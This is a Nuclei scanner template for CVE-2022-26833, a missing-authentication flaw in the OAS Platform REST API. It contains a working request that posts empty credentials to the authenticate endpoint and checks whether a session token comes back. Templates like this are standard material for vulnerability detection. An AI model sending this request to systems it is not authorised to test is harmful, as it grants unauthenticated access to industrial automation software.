id: CVE-2022-26833

info:
  name: Open Automation Software OAS Platform V16.00.0121 - Missing Authentication
  author: true13
  severity: critical
  description: |
    An improper authentication vulnerability exists in the REST API functionality of Open Automation Software OAS Platform V16.00.0121. A specially-crafted series of HTTP requests can lead to unauthenticated use of the REST API. An attacker can send a series of HTTP requests to trigger this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to the affected system.
  remediation: |
    Apply the latest security patch or update to the Open Automation Software OAS Platform V16.00.0121 to fix the missing authentication issue.
  reference:
    - https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1513
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26833
    - https://talosintelligence.com/vulnerability_reports/TALOS-2022-1513
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
    cvss-score: 9.4
    cve-id: CVE-2022-26833
    cwe-id: CWE-306
    epss-score: 0.37606
    epss-percentile: 0.98344
    cpe: cpe:2.3:a:openautomationsoftware:oas_platform:16.00.0112:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: openautomationsoftware
    product: oas_platform
  tags: cve2022,cve,oas,oss,unauth,openautomationsoftware,vkev,vuln

http:
  - raw:
      - |
        POST /OASREST/v2/authenticate HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Connection: keep-alive
        Content-Type: application/json

        {"username": "", "password": ""}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status":'
          - '"data":'
          - '"token":'
          - '"clientid":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ed0f043364ba1c5fc008e386778666b669bb9b57710f72cf9db72a0d5042f2cc022100ae257964777151b8380b3407b7500937a781e675629c412e47b0349eba6ff541:922c64590222798bb761d5b6d8e72950